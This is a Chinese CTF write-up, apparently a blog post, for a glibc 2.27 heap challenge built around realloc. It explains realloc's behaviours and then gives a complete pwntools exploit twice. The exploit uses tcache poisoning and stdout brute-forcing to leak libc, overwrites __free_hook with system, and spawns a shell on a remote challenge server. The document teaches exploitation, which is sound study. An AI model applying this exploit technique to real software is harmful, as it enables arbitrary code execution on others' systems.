这道题目帮助我学习了realloc这个函数,是一道十分经典的题目,我会尽量的把exp的每一步都说清楚
例行检查我就不放了
讲程序放入ida中
比较简单的流程,没有show功能,所有我们需要通过爆破stdout这个函数来获得libc
我先放上我学习的俩位师傅的博客
好好说话之Tcache Attack(1):tcache基础与tcache poisoning_hollk’s blog-CSDN博客 这个博客重点看tcache poisoning部分
然后我先放上realloc的四种不同的用法
realloc的几个特殊用法(摘自官方WP)
size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
然后我将完整的exp放在下面进行一步步的分析
------------------------------------------------------------------------------------------------------------------EXP-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
from pwn import *
#p = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('./libc-2.27.so')
def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
def add(size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('Size?\n',str(size))
p.sendafter('Content?\n',content)
def free():
p.sendlineafter('>>','2')
def ba():
p.sendlineafter('>>','66i6')
def pwn():
add(0x70,'a')
add(0,'')
add(0x100,'a')
add(0,'')
add(0xa0,'a')
add(0,'') #这里我们申请了四个不同大小的chunk 然后将它们释放掉
add(0x100,'b') #然后将chunk2申请回来
[free() for i in range(7)] #通过for循环填满tcache的7个chunk块
add(0,'') #将申请回来的chunk2释放掉,注意释放掉的chunk将放入unsortedbin里面 (这里会出现mare的地址)
add(0x70,'a') #我们将chunk1申请回来
add(0x180,b'c'*0x78+p64(0x41)+b'\x60\x87') #我们申请了一个0x180大小的chunk,刚好是chunk1和chunk2加起来的大小,相当于edit将泄露出的地址后面覆盖为了6087去爆破_IO_2_1_stdout的位置
add(0,'') #我们将chunk释放掉(会进入unsortedbin的链表里面)
add(0x100,'a') #我们将chunk2申请回来,注意这个chunk是从tcache里面申请的,fd已经是stdout的位置了
add(0,'') #我们将chunk2释放掉,但是因为这个chunk的大小我们已经改成了0x41大小了,所以这个chunk会放在新的tcache的队列里面,所以0x110的队列就留下了fd的指针,又因为fd指向的是stdout的地址所以我们在申请一个chunk就能申请到相应的地址上面了
add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58)) #在这里我们申请到了stdout的位置 下面获得libc
libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0 #0x3e82a0这个值是减去vmmap的里面相应的值
if libc_base == -0x3e82a0: if判断形成自动化
exit(-1)
print('libc_base:'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
onegadget = libc_base + 0xf4322
system = libc_base + libc.sym['system']
p.sendline('666')
add(0x120,'a')
add(0,'')
add(0x130,'a')
add(0,'')
add(0x170,'a')
add(0,'')
add(0x130,'a') 和上面泄露libc的同理由
[free() for i in range(7)]
add(0,'')
add(0x120,'a')
add(0x260,b'a'*0x128+p64(0x41)+p64(free_hook-8))
add(0,'')
add(0x130,'a')
add(0,'')
add(0x130,b'/bin/sh\x00'+p64(system))
free()
p.interactive()
if __name__ == "__main__":
while True:
#p = process('./pwn1')
p = remote('node4.buuoj.cn',28076)
try:
pwn()
except:
p.close()
------------------------------------------------------------------------------------------------------------------------------------------------------------结束-------------------------------------------------------------------------------------------------------------------------------------------------------
这道题是一个非常好的题目,希望可以多多复习一下,能认真的去理解和调试一下
完整exp
from pwn import * #p = process('./pwn1') elf = ELF('./pwn1') libc = ELF('./libc-2.27.so') def launch_gdb(): context.terminal = ['xfce4-terminal','-x','sh','-c'] gdb.attach(proc.pidof(p)[0]) def add(size,content): p.sendlineafter('>> ','1') p.sendlineafter('Size?\n',str(size)) p.sendafter('Content?\n',content) def free(): p.sendlineafter('>>','2') def ba(): p.sendlineafter('>>','66i6') def pwn(): add(0x70,'a') add(0,'') add(0x100,'a') add(0,'') add(0xa0,'a') add(0,'') add(0x100,'b') [free() for i in range(7)] add(0,'') add(0x70,'a') add(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87)) add(0,'') add(0x100,'a') add(0,'') add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58)) libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0 if libc_base == -0x3e82a0: exit(-1) print('libc_base:'+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] onegadget = libc_base + 0xf4322 system = libc_base + libc.sym['system'] p.sendline('666') add(0x120,'a') add(0,'') add(0x130,'a') add(0,'') add(0x170,'a') add(0,'') add(0x130,'a') [free() for i in range(7)] add(0,'') add(0x120,'a') add(0x260,b'a'*0x128+p64(0x41)+p64(free_hook-8)) add(0,'') add(0x130,'a') add(0,'') add(0x130,b'/bin/sh\x00'+p64(system)) free() p.interactive() if __name__ == "__main__": while True: #p = process('./pwn1') p = remote('node4.buuoj.cn',28076) try: pwn() except: p.close()
结束